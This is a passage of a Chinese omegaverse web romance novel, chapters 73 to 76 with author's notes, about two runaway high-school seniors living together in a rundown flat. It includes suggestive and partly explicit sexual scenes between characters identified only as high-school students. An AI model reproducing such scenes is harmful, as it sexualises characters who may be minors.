擦完后匙越折返回厨房,隽云没事干就跟过去,厨房门打开了,没有挡风的墙和玻璃,只有铁栅栏,和屋子里相比骤然降了几度,隽云几乎冷的一颤。 匙越把碗放在铁水槽里,开了水龙头,水龙头溅出白花花的水,他麻利地拿着抹布挤了点洗洁精,开始洗碗。 “水冷吗?”隽云问他。 “不冷。”他习惯了。 匙越低着头,身上围着一个围裙,是粉色的,他弯着腰,衣领微敞,看似很专注地洗碗。 隽云看着看着,脸微红,不过很快他就想到个问题:“怎么不安一个洗碗机?” 匙越一边洗碗一边说:“放不下,拆墙的话会破坏墙面的。” 这个家里一切老旧的东西都没有扔掉,墙上破裂的闹钟,永远停留在某一时刻的指针,堆在角落的缝纫机,纸箱子里的一些十几年前的缝衣针、一些穿不下去的毛衣,包括那个破旧的沙发 即便他后来生活条件改善了,他也依旧完好无损地保存着。 他不经常回这个家里,每次回来就是看看,毕竟这是他和妈妈曾经生活的地方,这是匙家被赶尽杀绝最后的财产,他们最后的栖息地,闵家的手伸不到这里。 匙越偏头看到隽云站在门口环着手臂抱着自己在轻微发抖,鼻尖泛红,他是想站在旁边陪着自己? 外面还是雪天,匙越皱了皱眉:“你快进屋里去。” “我要帮你做点什么吗?”隽云有些呆愣地问。 “不需要。” 匙越把他赶了出去,把门关上了,免得他把自己站感冒了。 匙越很快洗完碗筷出来,客厅里已经没有人了,推开房门看到隽云看手机。 见他出来,隽云把他的手机递给他,告诉他:“我在你这里暂住会很麻烦你,我卡里有钱,我每天都会给你生活费。” “”匙越莫名其妙接过手机,打开和他的聊天框一看,上面是五万块转账。 匙越气笑了。 以为不够,隽云补了一句:“一天五万,这只是今天的。” 眼前这个人完全不知道外面的物价是什么情况,一天五万,这么大方? 跟包养他一样。 匙越点了退款,把手机丢到床上。 “你怎么不收?”隽云坐在床尾,看着匙越身上还系着粉红围裙,肩宽蜂腰倒三角形身材显现无遗 见他的视线总是往他的围裙上瞟,匙越坏笑一声,板着他的肩膀,俯身下来。 “不要钱,我要这个” 吻落下来,带着火热的御望,隽云眼睛微微睁大,他被搂进匙越的怀里。 匙越撬开他金主的唇齿,在冬日暖融中享用他的早餐 一吻完毕,两个人都有些气喘吁吁,隽云的双腿不知道什么时候被挤开了,匙越站在他腿中间,穿着厨房围裙,捏着他的下巴俯身从他的唇瓣吻到脖颈 “铃铃铃——” 手机铃声炸响,隽云眼眸聚这雾气,艰难地拨出一丝清醒的神志,推了推他的肩膀:“手机。” 匙越不为所动,还在抱着他亲,隽云被他胡乱亲了几口,扭过脸: “手机!快接电话” 匙越就只能不无遗憾地松开他,然后从旁边摸到手机,点了接听。 是明叔打来的,告诉他现在隽家已经开始动用在满城找隽云,大概很快就会找来东城区。 “让他们找。” 在匙越挂断电话之际,明叔又告诉他,有一件事情需要他知情,他们内部出现了叛徒,他已经叫其他人赶过来了,需要他现在去一趟酒吧。 匙越的目光投到身下隽云头发凌乱薄红的脸庞,摸了摸他的额头,一边漫不经心地说:“知道了。” 他挂断电话。 隽云问他:“怎么了?” 匙越:“有点事情要处理,中午可能不能回来吃了,我叫我朋友,给你送饭,你别出去。” 俯身在他的嘴角亲了亲,单手把围裙脱了丢旁边,他把隽云往后压,隽云腿踩在床沿上,手撑在床上往后退,被匙越扑倒在床上。 “”不是要出门吗? 匙越很重,压在他身上,脸埋在他的颈窝里,呼吸有点热,隽云躺在床上看着天花板眨了眨眼。 好半响,匙越都没有动。 察觉到匙越不是想对他做什么,只是这么抱着他而已,隽云就试探性地把手放到他的肩膀上,拍了拍。 抱了几分钟,充好电后,匙越起身,一边捡起地上的围裙,一边拿起放在柜子里的外套,披着外套出去了。 隽云汲拉着鞋子跟在后面,他穿着薄薄的长袖,站在门口握着门把手送他,头发乌黑,翘着一角,脸颊雪白,眼皮单薄,带着一尾红。 匙越在院子里走了几步就回头,舍不得走。 把锁院子门的锁链开了,关门的时候,他问他:“晚上有没有想吃的?” “想吃”隽云靠着门,心念一动,他说:“小炒黄牛肉,还有文蛤冬瓜汤。” “行。”匙越不假思索地脱口而出:“等老公回来做。” “” “” 两个人互相看着,都有点尴尬。 隽云一把把房门关上了。很烦。 * 东城区他不熟悉,所以也没什么要到处乱逛的想法,下午在床上睡了一会儿觉,睡醒后他从书包里拿出平板,准备看一下各学校的招生简章。 毕竟他爸妈给他选的学校他不准备去。 转了一圈没有能学习的地方,房间不大,仅有的梳妆台上堆满了东西。 他就撸起袖子,把那些箱子搬下来,放到梳妆台底下。 箱子很重,在放下来的时候没放好,隽云被地上的拖鞋绊了一下,箱子从手里滑落,里面的东西打翻出来,他看到了几件儿童毛衣,还有一些破旧的小玩意儿 最重要的是,这些小毛衣盖着的下面,有一把枪。 隽云拿起来,游学的时候听枪馆里的老师讲解过枪的种类,而他手里的这把枪插了消音鞘,明晃晃的是一把消音手枪。 劲瘦的手指扣住班机,他会打枪,于是他拿着那把枪,对准墙壁。 这把枪不论是从视觉,还是手感,都与真枪无异。 最终还是没有开枪,他面无表情把所有的东西都物归原主收拾好后,又拿纸巾擦了一下桌面,然后把平板放在上面,开始搜国内外大学的招生简章。 已经高三了,班里有的人已经做为预备役提前去大学学习了,甚至期末考都没来参加。 星耀中学不参与各名校组织的高中升大学的考试,而是学生申请制。 高三年级的学生是最后一级接受学校集中制教育的年级,等到下学期期末会进行期末考,考试结果分为A到F等级,结合平时成绩申请国内或者国外的大学。 不过一般家世到位,成绩也不重要,还没毕业就会有很多学校朝他们递来橄榄枝。 所以就读于星耀中学,就相当于已经半只脚踏入了名校。 他不准备从军,也不准备出国读书,所以能选定的各领域的top大学也就几所。 他爸妈想通过联姻的方式来巩固隽家,但是最终隽家要掌握在他自己手里,联姻终究不是长远之际,唯有掌握在自己手里才行。 哪怕他只是个omega。 哪怕之后会突然冒出来他爸妈另外培养的兄弟姐妹,他也不会让权,所以他准备日后从商。 他快速浏览了一下国内top级大学的招生专业,从中筛选了几项是他觉得有点兴趣的。 这一看就看到了快天黑,冬天总是天黑的格外快,他是听到外面锁匙响动的声音,他才反应过来,匙越回来了。 他跑出房间,匙越推门进来,在换鞋,隽云看到他提了几个红色塑料袋,还有黑色的塑料袋,依稀能看到的绿色的菜叶子冒出来。 “我买了菜回来。” 匙越穿上拖鞋,然后和隽云擦肩而过,他把菜拎到厨房,又洗了手,然后出来,把门掩上免得冷气进入室内,他站在厨房门口,不走过来,看着站在沙发旁边的隽云: “要不要抱一下?” 和他对视上的一瞬间,隽云情不自禁走过去,两只手圈住他的腰,抱住他,脸埋在他的胸膛—— 作者有话说:怎么有种互相依偎的出租屋文学感。 评论区发 爱拼才会赢 小红包[墨镜][墨镜] 第74章 第七十四章 “你什么东西我没吃过。”…… 隽云:“怎么出去这么久?” 一整天没见了, 他从外面进来,身上还有点凉,隽云温软的体温传过去, 匙越指腹抬起他的下巴和他接了个吻。 一吻完毕后,匙越啄着他的唇, 厮磨着问他:“中午饭吃了吗?” 他让他的小弟订了市中心五星级酒店的饭送过来。 岂料隽云略带嫌弃地说:“米饭有点硬。” 小云朵是身娇肉贵的,但是他就喜欢他这样,十指不沾阳春水, 就只用坐在那里等他喂饭就好了。 他喜欢这种被他依赖的感觉。 匙越喉结滚动:“那下次就换一家。” 隽云的下巴抵在他的肩膀上, 轻轻地“嗯”了一声。 匙越看到他没穿鞋,也不穿袜子, 就一把把隽云抱起,走去里面的房间,骤然被拎起来, 隽云疾呼了一声,抱住了他保持平衡免得摔下去。 匙越推开门,把他放到床上:“你在这坐好,我去做饭。” 隽云的脚干净洁白,脚趾泛红, 踩着被子, 匙越就捉住他的脚腕,果然冰冰凉凉的。 他拿手搓了一下,捂在手心里,炽热的掌心带着火热的温度,粗粝的指腹划过脚心,隽云被烫到了一样,猛地往回缩。 怎么又摸他的脚心 匙越放开他, 隽云就往后退,脚蹭在床上把那些挥之不去的触感蹭掉,他睁圆了眼睛,绷着下巴催他: “你快去做饭吧!” 匙越就笑了一声,放过他去做饭了。 晚饭是他点的小炒牛肉和玉米排骨文蛤汤,还有一道白灼菜心和胡萝卜丝炒猪肉,三菜一汤。 匙越看着他吃饭,问他:“期末考试成绩一般什么时候出来?” 隽云舀了一口汤喝,勺子轻轻搁在碗里:“还有一个星期,还早。” 匙越下午听几个手下汇报,有个人泄露了他的行踪。果然是背叛了,不然前段时间不会有一波又一波的人跟踪他。 思绪回到温馨的小客厅,看到隽云喝了一口他做的汤后眯起眼懒洋洋的样子,匙越就笑了一声,问他: “好吃吗?” “还不错。”隽云怕他骄傲,所以晃了晃脑袋,酌情了说。 匙越就给他舀了点排骨:“你太瘦了,要多吃点肉。” 隽云就咬了一口排骨,然后又咬了一口玉米,腮帮子鼓起来,匙越看着他吃饭,又看看他细瘦的手腕,决定同居的这段时间要把他养胖一点。 “期末考你觉得难吗?” 两个人自从逃出来之后还没聊过期末考的话题。 隽云:“还行,很多地方我们一起复习的时候都有复习到。” 也算是压到很多题了。 最后提前半小时交卷也是觉得该填的都填了,有些犹豫的地方再纠结也不会有什么结果,而且他们俩还有其他计划,于是隽云就交卷出考场了。 他就问匙越:“你什么时候交卷的?” 最后一门考试没考。匙越咽下这句话,说:“和你差不多时间。” 那他动作还挺快的,和他差不多时间交卷,还能有时间接应外校的那几个人进学校。 “对了,那几个人是你朋友?” “对。” “哦。”有一个人昨天中午还来给他送饭。 隽云舀了一口饭吃,但是吃了一口就忍不住问:“什么时候认识的?” 感觉他们关系很好。 匙越:“以前在东城区读书,以前的学校认识的朋友。” 不过他们后来辍学了。 再后来就跟着他混了。 隽云点点头,若有所思:“那你们关系挺不错。” 毕竟他们都能千里迢迢来星耀中学帮他们的忙,又是帮忙拦截教导主任,又是伪装成他的模样。 本来还以为匙越除了学校一起打篮球的同学之外没什么朋友,现在看来他朋友还挺多的。 他想起他还带了五百万出逃,于是放下碗筷,拿起手机给匙越转账了三十万。 “三个人,一人给他们十万?毕竟他们帮了我。” 剩下的钱还需要留着以后精打细算过日子用。隽云这么想着,十万块,应该是够了。 隽云对钱完全没概念,匙越忍俊不禁:“不用” 他说:“他们都只是顺便来帮我一下,不用给钱。” “这样吗?”隽云缓缓眨眼:“那他们人真挺好的。” 匙越一本正经地说:“是的。” 他夹了一筷白萝卜丝和好几块肉到隽云碗里:“快吃吧,不然饭菜要凉了。” “哦。” 吃完饭之后洗澡,匙越先洗的,他洗的很快,洗完之后水热了隽云才去洗。 他的带的衣服没有那么多,洗完出来穿着长睡衣睡裤,拿过吹风机要吹头。 匙越看到了,他接过吹风机,让他坐在椅子上,他帮他吹,隽云就把吹风机给他了,腿分开一点,让匙越站进来。 匙越就拿着吹风机站在他腿间,穿着时尚而潮流的无袖T恤,给他吹头发。 隽云老实坐在凳子上,看着他的无袖T恤在他眼前乱晃,胳膊都露在外面,帅是挺帅的,但是 隽云问他:“不冷吗?” 冰凉到发丝从指尖倾泻而下,匙越一边拨弄他的头发一边拿吹风机吹着说:“不冷,不是开空调了吗?” 隽云:“好吧。” 但是没有袖子,真的不冷? 不伦不类的,他决定等会儿要帮匙越网购一套睡衣睡裤,和他差不多类型的,这样既保暖,又有点像那什么情侣睡衣 见隽云的耳尖有点红,匙越以为是吹风机吹的,就把风口拿远了一点,然后专心给他吹头发。 隽云突然说:“我现在是不是算是落魄了?” “不算。”匙越:“你算是来投奔我了。” 隽云觉得他这个说法很好笑,投奔 笑了一声,说:“那以后就只能麻烦你了。” 匙越:“没关系,我养你。” 他关掉吹风机,隽云就起身扑到床上去,被子拉到头顶上,很快,屋内的灯光熄灭,他被一双手臂捞回去,固定在怀里。 匙越在他的额头上亲了一下,他有些疲惫地说:“睡觉。” “嗯。”隽云应了一声,被他搂在怀里,闭上眼睛。 匙越的怀抱很温暖,带着热意密密麻麻地把他裹挟住,密不漏风地把他包裹着,隔绝外界带来的一切风雨。 比打电话还要让人有安全感。 好半响,他要有睡意了,隽云闷在匙越怀里,听到他的胸膛震动: “真的不回去了吗?” 隽云的睡意散去许多:“不回去了。” 匙越就把他搂的更紧了一点,隽云的脸压到匙越的胸膛上,他叹了口气,说:“其实我已经准备好了。” “什么?” 隽云缓缓眨眼:“跟你过苦日子。” 毕竟东城区是有点破的。 此话一出,匙越就忍不住呼出一口气,摸了摸他的头,弯腰凑过去亲了他一下。 黑夜里匙越的眼睛也熠熠生辉,盯着他的眼睛认真说:“放心吧,不会让你过苦日子。” 这句话像是一个承诺。 隽云脸一热,他埋头“嗯”了一声。 被子非常厚,鸳鸯戏水的老旧花棉袄被子压在他们身上,一个人抱着另一个人睡觉,很快清浅的呼吸随着被褥起伏,小云朵抱在怀里,匙越捏了捏,感到异常满足,很快也睡着了。 * 早上隽云感觉有个东西一直在蹭自己,他皱眉,脸往下埋了埋,理应是柔软的被子,但是陷入一片滚烫的胸膛皮肤,【审核你好,胸膛的描述,没有亲,没有动手动脚】而且触感并没有被子柔软,他就不舒服地转身,但是腰被搂住,还在梦里面就猛地被一拉过去—— “?”隽云疑惑地睁开眼睛,缓缓往下看。不过当然是看不到什么的,被子都挡的严严实实。 胡乱摸索了一下,把匙越箍在他腰上的手拿开,然后闭上眼满意地要睡觉的时候 “!!!” 隽云猛地睁眼,耳朵一下就红透了。 他往旁边挪了挪,努力离他远点。 密密的啄吻落在他的颈侧,隽云刚醒来还有点没力气,他精力不济且有气无力地说:“匙越——” 迷迷糊糊且抗拒:“大早上的不要亲” 匙越吻过他的耳朵,带来一阵酥麻的痒意,隽云缩了缩脑袋,大半张脸埋进枕头里,不知道大早上的匙越顶着他发什么情,手往后推要把他推开,又被抓住手被亲手指 很烦。 隽云耳朵通红,大早上的他不想弄什么,他转过身来,匙越就从他的颈侧吻到了锁骨,睡衣领口都被扯开了,麻麻赖赖的刺挠感扎的他忍不住一边躲一边发笑:“你好痒不行你胡子没刮” 匙越就嗯哼哼把他摁住,然后狠狠在他嘴唇上亲了两下,把脸埋进他的颈窝里蹭蹭,隽云能感受到胡渣带来的利麻瘙痒感以及炙热的呼吸喷洒在脖颈上的感觉。 好半天胡闹完,匙越停下来了。 “算了,没套。”匙越的嗓音沙哑。 “”隽云就顿时放松下来了,让他蹭了一会儿,心跳落回到实处。 “嘶”匙越说:“昨天去市场买菜忘记买了,下次再” 隽云不给他蹭了:“快起来!” 匙越低笑一声,在他脸上亲了一下,起身,准备去浴室洗着澡降一下火气,才踩到鞋子里就听到床上有动静,转过头去看,隽云已经把被子拉高了,整个人埋在了里面。 匙越唇角一扬,大早上就觉得心情非常愉悦。 冲了个冷水澡降旗后,匙越随便套了一身衣服出来,他拉开门,看到床上的鼓包还没有掀开的打算,就先关上门,去厨房弄早餐了。 隽云被子闷在头顶上,又睡了半个小时,等隽云穿戴整齐坐在桌子前的时候,早餐已经做好了。 今天早上吃的是包子和油条,还有两碗粥,包子油条是匙越叫手下人送来的。 隽云以为他趁他睡着的时候出去了一趟买的,当即不疑有他地开始吃起来,吃了半碗粥一个包子一根油条就饱了,剩下了两三个包子和两根油条。 隽云看着自己的半碗粥犯难,他已经饱了,吃不下了。 “放那吧。”匙越说。 “行。”隽云就坐在椅子上,玩了一下手机。 再抬头的时候,匙越已经喝完了他的粥,然后把他的那碗粥拿了过去,甚至勺子都是拿的他的。 “诶,”隽云皱眉,不赞同地说:“那个我吃过。” 怎么能给别人吃剩下来的? 匙越不在意地说:“你什么东西我没吃过。” “???” 然后匙越就看到隽云一张脸呆掉,从脖颈到脸颊红了个透。 隽云用能掀翻房顶的声音:“匙越!!!”—— 作者有话说:说的什么话(指指点点) 评论区发[橘糖][橘糖]红包 第75章 第七十五章 “脚心弄。” 早上在隽云的恼羞成怒和匙越的闷笑中度过, 隽云越来越觉得两个人待在一起好像话题总是会不由自主地滑向不可控的话题,他觉得还是需要进行一些除开不健康话题和事情之外的别的活动的。 于是在中午两个人窝在一起看完一部爱情电影后,隽云把匙越埋在他兄口的脑袋揪起来, 匙越猝不及防,舔了舔唇还在回味。 隽云靠在沙发上, 看着的桌子上拿平板放着的电影滚动着字幕,咬着衣角的唇一松,沾湿了口水的衣角掉落, 衣服滑落下去, 盖住红肿的痕迹,眼神逐渐有了焦点, 他仰着头靠在沙发上,天花板终于不晃荡了,他来了一句: “我们出去玩吧?” 反正现在是寒假。 匙越想也不想地就拒绝了:“不行, 太危险了。” 现在隽家的人都在找他,虽然手暂时还没有伸到东城区,但是说不准哪天就意外碰到面了,为了避免这种意外,好不容易把人带到身边, 他说什么都不同意隽家再把人带走。 就在匙越舔了舔唇想要再度埋下去的时候, 隽云说什么都不让他亲了,手心抵着他的脸,推着他想和他再说说话: “那我们遮的严实一点呢?” 隽云也知道现在隽家正派人暗中找他,只是,他已经足不出户在屋子里待了两三天了。 总不能一辈子都这样。 他们出去可以穿的严实点,别人不至于认出来。 “不行。”匙越说。 “” 匙越就要起来了,隽云不让他走, 勾住他的脖颈,把他带下来,匙越就差点又压在他身上。 双臂撑在他的身侧抵着,隽云和他鼻尖相抵,两人距离很近地互相对视,呼吸萦绕间,匙越首先受不了了,要凑过来亲他。 隽云一个偏头躲开了,让他的吻落了空。 “你干什么?”匙越的声音很哑。 明明是他拽他过来的。 明明是他想亲。 隽云头抵在沙发靠背上,竖了个手指头摇了摇,气定神闲:“你先说好不好。” “好什么?” 匙越的视线在他的脸上和嘴唇上游走,呼吸暧昧,两人的距离不过咫尺,他甚至都不想去想他开合的泛红的嘴唇在说什么了。 好吧,是他想亲。 隽云拧了拧眉:“我说我们出去玩,反正现在是寒假,我们可以去” 剩下那两个字隽云哼声出来,眼神略微有些闪躲,几乎都要听不到了:“约会” 但是还是被匙越准确无误地捕捉到了,头一低,亲了亲他的嘴角,手臂从他的腰间环过去,另一只手捏着他的下巴扭过来,从嘴角亲到唇峰,舌尖很涩情地描摹他的唇形,把人亲的迷迷糊糊。 很快亲吻的细微搅动吸吮的声音响起,隽云的手臂不自觉地环绕上了他的脖颈,腰肢挺起,和他相贴,鼻子和鼻子互相厮磨,呼气和热浪在彼此亲密的距离间流转,隽云唇舌被堵住,被亲的鼻子发出轻轻地哼声,匙越揉着他的头发,头转动,辗转着和他接吻。 直到隽云觉得好像有哪里不对。 他好像要被糊弄过去 什么事情来着 终究还是在匙越高超的吻技下灵光一闪,拍他的背,挣扎出来:“你你还没答应我呢!” 他扒拉开他的身体,唇上还闪着亮光,嫣红又水滋滋,气势汹汹地开合:“你先说好不好!” 匙越扣着他的脖颈,又缠上来亲他,在隽云要挣扎的时候,他一口答应:“好。” 隽云就很得意了。 不过他不表现出来,而是愣了一下,不自然地转头,轻轻“哼”了一下。 冬天室内暖气开的足,所以隽云穿的并不多,匙越很快就摸到他的腰间,准备把他的裤子拉下来,被隽云一把打开手。 “你干嘛?”隽云憋红脸:“不行。” 匙越觉得他这样很有意思,明知故问:“为什么不行?” “因为”隽云咽了咽口水:“那样很不舒服。” 第一次的时候就非常痛。 没体验到什么很舒服的感受,后面可能有点舒服了但是还是夹杂着痛感,总觉得书上说omega和alpha的结合是生理契合的这句话是错误的。 一点也不契合吧。 不过也可能是他不在发情期的原因,身体很干涩,而且那时候没有能润滑的东西。 “”越想脑袋就越冒烟。 匙越看着隽云脸越来越红,越来越红,问他:“在想什么?” “没、没啊。”隽云回过神来,嘴角抽抽:“没什么” 他现在也没在发情期,他的发情期非常不稳定,十一月来过一次之后就一直没来了。 可能是因为他们是十一月份在一起的,所以十二月份摄入的alpha信息素够多,他的腺体就处于一种稳定的状态,再也没有出现发热的情况了。 总之,没在发情期是不适合做那个的。 匙越的额头抵着他的额头,说话却是一本正经的 ,似乎真的在和他商讨这件事情:“上次是因为没有润滑油所以才不舒服,如果你想我现在就去买,顺便” 他的气音钻入隽云的耳朵里:“买套。” 隽云的呼吸顿时急促了,抓着匙越的衣领让他凑过来,点了点他的唇。 匙越一愣,随即把他更凶狠地惯进沙发,沙发下陷,隽云觉得他的吻不像吻,像是要把他吃掉。 急切的吻声彼此缠绕,omega和alpha的信息素都不由他他们自己控制地释放开来,所幸现在是在匙越家里,只有他们俩,所以无所顾忌,大片光滑的皮肤摩挲着,两个人互相依偎在这张小小的沙发上。 午后的阳光透过厨房的铁栏杆窗户投进来,在地面上拖拉散发出温暖的光晕,粒子沉溺在其中上下浮沉。 当然最后没有真的那么做,还是因为那个原因,没套,隽云庆幸他又躲过一劫。 毕竟第一次的惨痛经历还记着,所以能避免就避免,实在避免不了就等发情期再说好了,那时候神志不清,应该能避免吃很多苦。隽云这么想着。 被匙越按在沙发上抬起脚的时候隽云还懵着,但还是顺从地抬起脚尖勾弄,直到知道他真正的意图后轰然烧红了脸,最后半靠在沙发上,闭着眼咬牙切齿地用脚 脚心红了一片。 和他面对面,喘息的声音无比清晰落入他的耳朵里,让他即便闭着眼不看这具有冲击性的画面也无比清晰和感觉到他,最后被匙越抱着去厕所洗澡清理。 由于没有浴缸,就只能抱着面红耳赤、腿脚发软的隽云洗,把他扒了个精光又让他靠着他,隽云就觉得,不如和上次一样直接让他晕过去算了,现在还要清醒地被他洗 就在隽云要他出去的时候,一句“上次也帮你洗了”,把他彻底脑袋宕机。 被他弄的抓狂:“那时候我不清醒,根本不一样!!!” 隽云就很不情不愿地背对着他,浑身上下哪哪都被盯着的感觉,非常的怪异,偏偏匙越还越来越有精神。 身体被热水冲洗的红彤彤的,就在他提出要不他还是自己洗吧,要让匙越出去的时候,匙越干脆地堵住了他的唇,用他高超的吻技让他失去清醒 最后晕乎乎地又被匙越从头到脚亲了一遍,最后才被套上衣服打包送到了床上,匙越则又去了一趟浴室,再洗一遍冷水澡。 隽云:“” 这人真是。 胡闹了一个下午后,隽云精疲力尽,躺床上昏睡到晚上九点,几个小时过去,他是被一阵香味香醒的。 他迷糊地坐起来,抓了抓头发,缓了一会儿闻到了自己身上匙越家沐浴露的香味,缓缓低头,发现自己甚至穿的不是自己衣服,灰色的毛衣,格子裤,都有点大了。 他掀开被子下床,由于是穿的匙越的裤子,裤脚堆叠在脚面上,他循着香味走去。 客厅的门是关着的,沙发上有一个的手机在闪着蓝光,炒菜的滋啦响声透过厨房掩着的门传过来,隽云看了几眼厨房,走到沙发边上一直在亮着蓝屏的手机,上面闪着“明叔”两个字。 隽云回想了一下匙越和他似乎没有提过明叔这个人。 明叔是谁? 就在他犹豫着要不要喊匙越来接时,通话中断了。 屏幕上弹出来一条消息:- 明叔:又抓到一个泄露消息给何苑的走狗,怎么处理? 隽云记得,闵荣如今的太太就是叫何苑。 他和何苑的关系 消息没头没尾的,隽云心生疑惑,站在沙发旁看着手机逐渐息屏暗淡下去。 去厨房找匙越的时候,理智告诉他他应该问一下是不是有什么事情瞒着他,但是推开厨房门的那一刻,感情又波涛汹涌地淹没他。 厨房没有抽油烟机,所以每次做饭都会有油烟气味,匙越听到门响动怕他进来被油溅,一边颠锅一边回头看了一眼隽云: “快关门。” 隽云透过门缝,看到匙越在做饭的模样。 大概是因为厨房比较冷,匙越穿的是一件紧身的黑色毛衣,勾勒出他的腰线、甚至是背部若隐若现的肌肉,端着锅发力时,手背的青筋会爆起,和胸口挂着的粉红围裙形成截然不同的反差。 猛男做饭。 视线落到他的脖颈上,匙越戴着他送给他的项链,银制的星星和月亮项链微微发光。 匙越察觉门久久没有关上去,他一边炒菜一边转过脸去看他,结果门恰好就被关上了。 晚饭是四季豆炒肉、鲜茄牛肉、炒茼蒿、香菇粉丝土鸡汤。 汤是那时候在浴室隽云要昏过去的时候匙越问他想吃什么,他说的随便做吧,匙越就做了这些。 匙越做饭做了有一会儿了,端着菜上桌,隽云下午睡久了一点也不困,他就窝在沙发上看平板,见他做好饭了,他就踩着沙发下来,坐在凳子上等匙越给他递筷子。 匙越端菜,又去厨房端了两碗饭出来,递给他一碗,连带着筷子勺子递给他,把粉红围裙取下来挂回厨房的墙上。 桌上香飘浓郁,隽云忍不住吸一口气。 好香的饭菜。 隽云吃了几口饭后感觉到视线一直盯着他,抬头看去,就见匙越不知道什么时候从哪里摸出来了一个眼镜戴上了,黑色的眼镜框,他半撑着下巴,狭长的眼眸正透过黑色镜框看着他。 隽云吃饭的速度就不免慢了许多:“你近视吗?” 他记得匙越从来不戴眼镜的。 “有点近视,下午去配了个眼镜。” 匙越的两条胳膊撑在桌上,高领的设计将他纤长的脖颈包裹,项链是恰到好处的修饰和搭配,紧身的黑色高领毛衣勾勒出他身上的肌肉线条,再配上他那黑色的黑色镜框眼镜,好整以暇地看着他,让他整个人看上去格外地,禁欲。 很适合脖子上再挂个铃铛 这一想法冒出来隽云就赶紧打消了,感觉脚心好像又有点痛了,下午被磨的感觉还在,他不自然地缩了缩脚,喉咙轻微地咕咚一声,总觉得怎么回事自己被匙越带的越来越不健康了 匙越明明就很清心寡欲,只是很专注地看着他而已。隽云这么告诉自己,让自己的注意力放在吃饭上。 “吃饭吧。”隽云耳尖冒上红,他不在意地说道。 然后夹了一个鲜紫的茄条给他,给自己夹了个蘑菇,垂下眼睫,不看他了—— 作者有话说:赛级daddy狗 评论区发红包[害羞][害羞] 第76章 第七十六章 “买了套。” 但当匙越这么胳膊撑在饭桌上看着他一小口一小口地吃时, 眼神里的炽热和侵略性却又分外明显,让隽云很难忽视,吃蘑菇的速度就慢了很多, 直到终于忍不住搁下筷子。 为什么一直盯着他? 黑色镜框之上有些卷翘的碎发扫到镜框上,光照在他的镜框上投下一点蓝色的反光, 比反光更吸引人注意的是他那一眨不眨的黑色眼眸,他的声音有些低沉的可怕: “不吃了吗?” 隽云:“明叔是谁?” 刚才还的流淌着的说不清道不明意味的暧昧氛围瞬间被打破,匙越呛了一声, 差点没跟上他的思路:“你说什么?” 或许他听错了, 隽云刚才的眼神明明是想问今天怎么穿的这么让他喜欢。 “?”隽云奇怪:“你这么看着我干什么。” 隽云这会儿的眼神又已经完全清醒了,不像刚吃饭那时总是悄悄偷瞄他几眼的小表情了, 正拉着一张小脸,非常严肃地说: “明叔是谁?我想你可以和我说一下。” 小狗心碎。 匙越顿时叹一口气,手指扶了扶镜框, 无可奈何地说:“好吧。” 与此同时,脑子里开始想要怎么瞒过他了。 毕竟一旦被隽云知道明叔的真实身份,他背后那些不光彩的事情、在东城区的所作所为也将暴露在隽云面前,但那是匙越不愿意见到的。 隽云只需要知道,他是闵家的长子, 他现在的身份非常光彩, 不是躲在阴暗里的无父无母没钱没权的阴沟老鼠可怜虫,那就够了。 “明叔是之前读书的时候资助过我的一个长辈,我妈妈曾经是他的恩人,所以匙家没落后,他就找到我,资助我读书。” 匙越听到自己的说辞还算冷静,而他这么说也不算撒谎。 “他什么时候找到你的?” “我”他知道自己应该说是在他读初三的时候才找到他的, 但是他话语拐了个弯,说:“我妈去世后没多久。” 隽云了然点头:“这样啊。” 那就是他十一岁读小学五年级的时候? 难怪匙越能安然无恙长到大,看来妈妈去世后,还是有明叔作为监护人管着他的学费和生活费的。 隽云就重新拿起筷子,夹了一筷肉给他:“吃饭吧。” 匙越却没动筷,胳膊肘撑在桌子上,似笑非笑地看着隽云。 隽云:“我我那是不小心看到的!” 他解释:“谁让你把手机放在沙发上了。” 匙越“哦?”一声,挑眉:“但是你查我岗?” 查岗这种事发生在男朋友和男朋友之间 “谁查你岗了”隽云眼神飘忽,他多年良好的教养告诉他,偷看别人手机是不对的。 不过是手机自己响的,又自己弹消息出来的,所以,应该也不算他偷看。 但是到底有点理亏,隽云心一横,郑重其事地把碗筷放下,在匙越疑惑的视线中,绕过桌子到他的旁边,然后以迅雷不及掩耳之势,猛地亲了匙越的脸颊一口。 就在他要逃之夭夭的时候,匙越一把把他捞了回来,手臂环他的腰,板过他的下巴,狠狠嘬了几口他的唇。 “嘬嘬嘬” 亲完后才心满意足,看到人东倒西歪差点被他的力度弄的站不稳了。 匙越搂着他的手一紧,干脆不把人放回去了,把人抱到自己的腿上。 坐在他的腿上刚好脑袋能埋在他的颈窝里,眼镜硌在皮肤上显得有点冰凉,隽云瑟缩着躲,推他。 “匙越别蹭我!别蹭你是狗吗!?” 匙越毛绒的脑袋一顿,他嗅着他的脖颈,发现他的皮肤上散发着和他一样的沐浴露香气,心神飞扬,唇角也扬起,抱着他晃了晃,整个人都散发着活泼欢快的狗气: “是啊,我是啊。” 他就是那又怎么了?匙越大大方方的。 隽云就没声了,匙越捏着他的下巴亲他湿漉漉的嘴唇,吻了好一会儿,隽云要喘不过来气了才放开他。 隽云气喘吁吁,锤他:“放我下来。” 匙越却不放了,他拿起筷子夹了一筷菜放到饭上,然后拿勺子递到他的嘴边:“就这么吃?” 隽云:“” 不想吃,想说什么刚张口就被匙越亲了一口,隽云就此打住,勺子递到他的唇边,抬眼就能看到匙越镜片里期待的眼眸,再往下,是黑色紧身毛衣勾勒出的健壮身材。 隽云:“” 张嘴,米饭混着油香的菜就进了口腔里,在匙越的注视下吃了。 刚想说别喂了他自己会吃,下一口就递到了自己嘴边。 这很诡异。 不知道匙越发什么疯,隽云被腻的鸡皮疙瘩起来了,往后一仰:“我说你真的别喂了” 匙越就又亲了他一口,隽云顿时住嘴:“” 这人真的没事吧??? 干脆放弃了,毕竟本来也是吃他的住他的再睡睡他的,他要喂就让他喂吧。 一边吃着匙越给他喂的饭,指挥他:“四季豆再来点,对,茄子也来一块。” 匙越对他提的意见照单全收,极大程度地满足了想要隽云依赖他的小心思,只是在他的要求下又多加了两块肉喂给他。 隽云被他抱在怀里喂饱了,匙越托住他的膝弯猛地把他抱起来,隽云半身悬空,马上勾住他的脖子以保持平衡: “放我下来!” “不放。”匙越看了一眼他的脚:“地上凉,你又没穿袜子。” “” 被他弄怕了,他遥遥一指沙发:“那我去沙发上坐。” 匙越就把他抱过去,送到沙发上后,又去房间翻出来袜子给他套上。 隽云的生活常识不太高,过去就算出去游学,家里的东西都有保姆管家收拾,他不用操心什么,也极少做过家务。 